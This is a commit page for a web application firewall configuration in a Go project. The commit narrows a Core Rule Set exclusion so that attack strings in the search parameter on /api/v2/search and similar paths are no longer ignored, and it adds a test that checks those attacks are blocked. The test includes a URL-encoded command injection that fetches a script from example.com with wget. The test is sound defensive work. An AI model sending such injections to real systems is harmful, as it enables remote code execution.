Core Rule Set: gitea's repository search exclusion skips /api/v2/search (closes #266)
check / check (push) Successful in 6m14s
check / check (push) Successful in 6m14s
Rule 900600 took paths of an owner named api for gitea's search, issues, pull requests and commit search inside a repository. /api/v2/search, Mastodon's search, /api/v2/issues and /api/v2/pulls were among them, so attacks in q scored 0 there. gitea has no owner named api, so a chained condition now leaves out each of those paths under /api/<x>/. Go's regular expressions have no lookahead, so the exclusion cannot be written inside the pattern. Model: opus-5-5
This commit is contained in:
1 parent
c1bb813a5e
commit
53acf05bcb
2 files changed
+54
-30
No files matched your search
@@ -674,6 +674,25 @@ func TestOrdinaryGiteaRequestsPassAndAttacksAreRefused(t *testing.T) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// gitea has no owner named api, so these are not a repository's search,
|
||||
// issues or pull requests. /api/v2/search is Mastodon's search.
|
||||
for _, path := range []string{
|
||||
"/api/v2/search",
|
||||
"/api/v2/issues",
|
||||
"/api/v2/pulls",
|
||||
} {
|
||||
for _, attack := range []string{
|
||||
sqlInjection,
|
||||
scriptInjection,
|
||||
"%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh",
|
||||
} {
|
||||
target := path + "?q=" + attack
|
||||
if got := inspect(t, crs, get(target)); got.Score < threshold {
|
||||
t.Errorf("%s let through: %+v", target, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// WordPress's paths: signing in, posting a comment, admin-ajax.php, and the
|
||||
|
||||
@@ -35,41 +35,46 @@
|
||||
# 944100: java.lang.Runtime
|
||||
# 944110: java.lang.Runtime
|
||||
# 944130: java.lang.Runtime
|
||||
# gitea has no owner named api. A repository's search, issues, pull requests and
|
||||
# commit search with that owner get none of this. /api/v2/search, for example,
|
||||
# is Mastodon's search.
|
||||
SecRule REQUEST_FILENAME "@rx ^/(?:explore/code|issues(?:/search)?|pulls|\
|
||||
[^/]+/-/code|\
|
||||
[^/]+/[^/]+/(?:search|issues(?:/search)?|pulls|\
|
||||
commits/(?:branch|tag|commit)/.+/search)|\
|
||||
api/v1/repos/(?:issues/search|[^/]+/[^/]+/issues))$" \
|
||||
"id:900600,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=930110;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=931100;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932130;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932140;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932235;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=933100;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=933130;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=933135;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=934100;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=934110;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=934130;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=941100;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=941110;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=941160;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=941180;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=941390;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=942100;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=942140;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=942190;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=942230;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=944100;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=944110;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=944130;ARGS:q"
|
||||
"id:900600,phase:1,pass,nolog,chain"
|
||||
SecRule REQUEST_FILENAME "!@rx ^/api/[^/]+/(?:search|issues(?:/search)?|\
|
||||
pulls|commits/(?:branch|tag|commit)/.+/search)$" \
|
||||
"ctl:ruleRemoveTargetById=930110;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=931100;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932130;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932140;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932235;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=933100;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=933130;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=933135;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=934100;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=934110;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=934130;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=941100;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=941110;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=941160;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=941180;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=941390;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=942100;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=942140;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=942190;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=942230;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=944100;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=944110;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=944130;ARGS:q"
|
||||
|
||||
# A page opened from the results of one of those searches has the search's
|
||||
# address in Referer, which skips these rules then:
|
||||
|
||||
Reference in new issue
Block a user